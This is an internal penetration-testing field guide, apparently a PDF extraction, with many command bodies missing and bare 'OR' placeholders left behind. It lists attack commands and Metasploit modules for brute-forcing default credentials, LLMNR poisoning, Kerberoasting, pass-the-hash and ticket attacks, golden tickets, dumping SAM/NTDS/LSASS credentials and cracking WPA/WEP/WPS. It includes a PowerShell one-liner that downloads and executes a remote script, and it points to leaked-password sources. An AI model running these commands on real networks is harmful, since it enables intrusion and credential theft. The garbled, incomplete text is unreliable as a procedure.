Internal Field Guide
Internal Field Guide
Assessment: Field
Guide
By Paul Seekamp
Table of Contents
RECONNAISSANCE ...................................................................................... 2
IPV4 NETWORK A CCESS CONTROL (NAC) BYPASS ................................................................ 3
U NAUTHENTICATED A SSET DISCOVERY .................................................................................. 3
A UTHENTICATED ASSET /USERNAME DISCOVERY ...................................................................... 5
PORT DISCOVERY ............................................................................................................ 6
VULNERABILITY IDENTI FICATION................................................................... 7
VULNERABILITY S CANNERS ................................................................................................. 8
INITIAL FOOTHOLD ...................................................................................... 9
DEFAULT CREDENTIALS .................................................................................................... 10
A CQUIRE CREDENTIALS ................................................................................................... 15
CRACKING HASHES ................................................................................... 19
WORDLISTS AND R ULES AND MASKS ................................................................................... 20
WINDOWS VERTICAL PRI VILEGE ESCALATION ............................................. 22
REMOTE USER TO ADMIN ................................................................................................. 23
WINDOWS HORIZONTAL P RIVILEGE ESCALATION ........................................ 25
LOGGED I N U SERS ......................................................................................................... 26
REMOTE MIMIKATZ /LSA DUMPS FROM LOCAL ADMIN ........................................................... 26
P ASS T HE H ASH (PTH) .................................................................................................... 27
P ASS T HE K EY (PTK) ....................................................................................................... 28
P ASS T HE TICKET (PTT) .................................................................................................... 30
S ILVER T ICKET ................................................................................................................ 31
GOLDEN T ICKET ............................................................................................................. 33
A UTOMATE LOCAL ADMIN T O DOMAIN ADMIN (NOISY) ....................................................... 35
CREDENTIAL PILLAGING ............................................................................ 36
E XTRACT SAM & C ACHED H ASHES M ANUALLY .................................................................... 37
E XTRACT NTDS. DIT H ASHES M ANUALLY .............................................................................. 37
E XTRACT NTDS. DIT H ASHES (AUTOMATED ) ......................................................................... 37
F IND P LAINTEXT P ASSWORDS ............................................................................................ 38
WPA PSK STRING E XTRACTION ........................................................................................ 40
WIRELESS .................................................................................................. 42
WPA/WPA2 H ASH C APTURE WITH U SERS ........................................................................... 43
WPA/WPA2 H ASH C APTURE WITHOUT U SERS (PMKID) ........................................................ 43
WPS ........................................................................................................................... 44
E NTERPRISE W IRELESS ...................................................................................................... 44
EVIL TWIN (SOCIAL E NGINEERING) .................................................................................... 45
OPEN WIRELESS ............................................................................................................. 45
WEP WIRELESS .............................................................................................................. 45
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
mitm6
#Launch a man in the middle attack over IPv6.
https://github.com/fox-it/mitm6.git
https://github.com/SecureAuthCorp/impacket.git
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
ARP Scan
netdiscover -i eth0
nbtscan <CIDR>
Port Scan
Mass Scan
DNS Enumeration
Get-SPN -type group -search "Domain Admins" -List yes -DomainController <target>00 -Credential
domainuser | Format-Table –Autosize
nmap -iL targets.txt –p- --excludefile exclude.txt --osscan-guess --max-os-tries 1 --max-retries 3 --min-
rtt-timeout 100ms --initial-rtt-timeout 500ms --defeat-rst-ratelimit --min-rate 450 --max-rate 15000 --
open --stats-every 10s -oX /tmp/nmap.xml
changeme.py default_creds.xml
brutex <target>
use auxiliary/scanner/printer/canon_iradv_pwd_extract
use auxiliary/scanner/telnet/lantronix_telnet_password
use auxiliary/scanner/db2/db2_auth
use auxiliary/scanner/ipmi/ipmi_dumphashes
auxiliary/admin/mssql/mssql_enum_sql_logins
auxiliary/admin/oracle/oracle_login
auxiliary/scanner/acpp/login
auxiliary/scanner/afp/afp_login
auxiliary/scanner/couchdb/couchdb_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/http/advantech_webaccess_login
auxiliary/scanner/http/appletv_login
auxiliary/scanner/http/axis_login
auxiliary/scanner/http/bavision_cam_login
auxiliary/scanner/http/binom3_login_config_pass_dump
auxiliary/scanner/http/buffalo_login
auxiliary/scanner/http/buildmaster_login
auxiliary/scanner/http/caidao_bruteforce_login
auxiliary/scanner/http/chef_webui_login
auxiliary/scanner/http/cnpilot_r_web_login_loot
auxiliary/scanner/http/directadmin_login
auxiliary/scanner/http/dlink_dir_300_615_http_login
auxiliary/scanner/http/dlink_dir_615h_http_login
auxiliary/scanner/http/dlink_dir_session_cgi_http_login
auxiliary/scanner/http/dolibarr_login
auxiliary/scanner/http/epmp1000_web_login
auxiliary/scanner/http/etherpad_duo_login
auxiliary/scanner/http/frontpage_login
auxiliary/scanner/http/gavazzi_em_login_loot
auxiliary/scanner/http/gitlab_login
auxiliary/scanner/http/glassfish_login
auxiliary/scanner/http/hp_sys_mgmt_login
auxiliary/scanner/http/http_login
auxiliary/scanner/http/ipboard_login
auxiliary/scanner/http/jenkins_login
auxiliary/scanner/http/joomla_bruteforce_login
auxiliary/scanner/http/manageengine_desktop_central_login
auxiliary/scanner/http/mybook_live_login
auxiliary/scanner/http/octopusdeploy_login
auxiliary/scanner/http/openmind_messageos_login
auxiliary/scanner/http/oracle_ilom_login
auxiliary/scanner/http/owa_ews_login
auxiliary/scanner/http/owa_login
auxiliary/scanner/http/pocketpad_login
auxiliary/scanner/http/splunk_web_login
auxiliary/scanner/http/symantec_web_gateway_login
auxiliary/scanner/http/tomcat_mgr_login
auxiliary/scanner/http/vcms_login
auxiliary/scanner/http/wordpress_login_enum
auxiliary/scanner/http/wordpress_xmlrpc_login
auxiliary/scanner/http/zabbix_login
auxiliary/scanner/lotus/lotus_domino_login
auxiliary/scanner/misc/cctv_dvr_login
auxiliary/scanner/misc/ibm_mq_login
auxiliary/scanner/mongodb/mongodb_login
auxiliary/scanner/msf/msf_rpc_login
auxiliary/scanner/msf/msf_web_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/nessus/nessus_ntp_login
auxiliary/scanner/nessus/nessus_rest_login
auxiliary/scanner/nessus/nessus_xmlrpc_login
auxiliary/scanner/nexpose/nexpose_api_login
auxiliary/scanner/nntp/nntp_login
auxiliary/scanner/openvas/openvas_gsad_login
auxiliary/scanner/openvas/openvas_omp_login
auxiliary/scanner/openvas/openvas_otp_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/pop3/pop3_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/redis/redis_login
auxiliary/scanner/rservices/rexec_login
auxiliary/scanner/rservices/rlogin_login
auxiliary/scanner/rservices/rsh_login
auxiliary/scanner/sap/sap_mgmt_con_brute_login
auxiliary/scanner/sap/sap_soap_rfc_brute_login
auxiliary/scanner/sap/sap_web_gui_brute_login
auxiliary/scanner/scada/koyo_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ssh/karaf_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/ssh/ssh_login_pubkey
auxiliary/scanner/telnet/brocade_enable_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/teradata/teradata_odbc_login
auxiliary/scanner/varnish/varnish_cli_login
auxiliary/scanner/vmware/vmauthd_login
auxiliary/scanner/vmware/vmware_http_login
auxiliary/scanner/vnc/vnc_login
auxiliary/voip/asterisk_login
auxiliary/scanner/http/epmp1000_dump_hashes
auxiliary/scanner/http/manageengine_deviceexpert_user_creds
auxiliary/scanner/http/surgenews_user_creds
auxiliary/scanner/ipmi/ipmi_dumphashes
auxiliary/scanner/lotus/lotus_domino_hashes
auxiliary/scanner/mssql/mssql_hashdump
auxiliary/scanner/mysql/mysql_authbypass_hashdump
auxiliary/scanner/mysql/mysql_hashdump
auxiliary/scanner/oracle/oracle_hashdump
auxiliary/scanner/postgres/postgres_hashdump
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir
auxiliary/scanner/snmp/brocade_enumhash
A CQUIRE C REDENTIALS
Automate reverse bruteforce, SCF upload, LLMNR/NBTNS/mDNS poisoning, SMB relay, IPv6
DNS poison
https://github.com/DanMcInerney/icebreaker.git
icebreaker.py -l targets.txt
SCF Upload
[Taskbar] Command=ToggleDesktop
responder -I eth0 -v
responder -I eth0 –v
export KRB5CCNAME=<TGS_ccache_file>
Password Spray
Collect usernames from the internet.
o Theharvester - https://github.com/laramies/theHarvester.git
o Linkedint - https://github.com/mdsecactivebreach/LinkedInt
o Raven - https://github.com/0x09AL/raven
o Hunter.io
o Weleakinfo.com - $2 purchase required
o Scylla - https://scylla.sh/
o ridenum.py 172.20.132.25 500 50000 | tee -a ridenum.log
https://github.com/Greenwolf/Spray.git
Crackmapexec
Wordlists
https://mega.nz/#!aqRS2CJZ!TjbvyNcrXxMXNNRiUOIsz91NrzVuqm_r-Z_CZ_udD5Q
https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
https://github.com/danielmiessler/SecLists/tree/master/Passwords
https://hashes.org/leaks.php
cd ~/.msf4/loot && cat *mscache* | cut -d '"' -f 2,4 | sed s/\"/\:/g | tr -cd '\
11\12\40-\176' | grep -v Username | cut -d : -f 1,2 | awk -F':' '{print $2,$1}'
| sed 's/ /:/g' > mscache.hash
Wordlist W/rules
Crack IPMI
Combination Attack
Kerberoast
https://github.com/SecureAuthCorp/impacket.git (Linux)
https://github.com/GhostPack/Rubeus.git (Windows)
PowerShell
iex (new-object
Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data
/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat <TGSs_format
[hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
Crackmapexec
Metasploit
use auxiliary/scanner/smb/psexec_loggedin_users
Pingcastle
Bloodhound
https://github.com/BloodHoundAD/BloodHound
neo4j start
Bloodhound – LSASSY
https://github.com/Hackndo/lsassy/tree/master/cme
#Must patch CrackMapExec first
Metasploit
use auxiliary/scanner/smb/impacket/secretsdump
Lsassy
https://github.com/Hackndo/lsassy
lsassy -d adsec.local/pixis:[email protected]
Metasploit
exploit/windows/smb/psexec_psh
load kiwi
creds_all
CredCrack
https://github.com/gojhonny/CredCrack
Metasploit
Metasploit
use exploit/windows/smb/psexec
P ASS T HE K EY (PTK)
OR
OR
export KRB5CCNAME=<TGS_ccache_file>
OR
OR
OR
OR
#If user is root Tickey will inject into other user processes. Must be in a reachable folder.
https://github.com/TarlogicSecurity/tickey.git
export KRB5CCNAME=<TGS_ccache_file>
OR
OR
Rubeus in PowerShell
https://github.com/GhostPack/Rubeus.git
.\Rubeus dump
Rubeus
PsExec
S ILVER T ICKET
export KRB5CCNAME=<TGS_ccache_file>
OR
OR
OR
G OLDEN T ICKET
Request The TGT via Linux (1)
https://github.com/SecureAuthCorp/impacket.git
#Generate the TGS with NTLM via impacket
export KRB5CCNAME=<TGS_ccache_file>
OR
OR
OR
https://github.com/byt3bl33d3r/DeathStar
DeathStar.py
Execute DeathStar
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\SYSTEM
c:\SYSTEM
https://github.com/SpiderLabs/scavenger
OR
python3 scavenger.py smb --target iplist --username administrator --password Password123 --domain
test.local --overwrite
Extract session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP
https://github.com/Arvanaghi/SessionGopher
use post/windows/gather/smart_hashdump
use post/windows/gather/credentials/domain_hashdump
use post/windows/gather/credentials/mcafee_vse_hashdump
use post/windows/gather/credentials/mssql_local_hashdump
use post/windows/gather/hashdump
use post/windows/gather/credentials/domain_hashdump
use post/windows/gather/credentials/credential_collector
use post/windows/gather/enum_computers
use post/windows/gather/cachedump
use post/windows/gather/enum_ad_computers
use post/windows/gather/credentials/gpp
Crackmapexec
crackmapexec smb -t 150 <target> -u USER -p Password123 --spider Users --depth 10 --pattern
password
cat (Get-PSReadlineOption).HistorySavePath
or
or
*NIX
OR
./Wifite.py
OR
./airgeddon.sh
1) Select wlan0
2) Put interface in monitor mode (option 2)
3) Select Handshake tools menu (option 5)
4) Explore targets (option 4)
5) Capture Handshake (option 5)
Run manually
airmon-ng
#*-a=BSSID *-c=client
./Wifite.py
airmon-ng
echo "BSSID">filter.txt
WPS
#Will work with a cheap Atheros wireless USB LAN adapter
Automate via airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
./airgeddon.sh
1) Select wlan0
2) Put interface in monitor mode (option 2)
3) Select WPS attack menu (option 8)
4) Explore targets (option 4)
5) Run through list (7-13)
E NTERPRISE W IRELESS
#Will work with a cheap Atheros wireless USB LAN adapter
Automate via airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
./airgeddon.sh
1) Select wlan0
2) Put interface in monitor mode (option 2)
3) Select Enterprise attack menu (option 10)
Password Spray
https://github.com/s0lst1c3/eaphammer
Password Reuse
./airgeddon.sh
1) Select wlan0
2) Put interface in monitor mode (option 2)
3) Select Evil Twin menu (option 7)
4) Select option 7-9 based on OPSEC requirement
O PEN W IRELESS
Nmap internal IP addresses and or hostnames.
WEP W IRELESS
#Will work with a cheap Atheros wireless USB LAN adapter
Automate
https://github.com/derv82/wifite2
https://github.com/v1s1t0r1sh3r3/airgeddon
./Wifite.py
OR
1) Select wlan0
2) Put interface in monitor mode (option 2)
3) Select Handshake tools menu (option 5)
4) Explore targets (option 4)
5) WEP attack (option 5)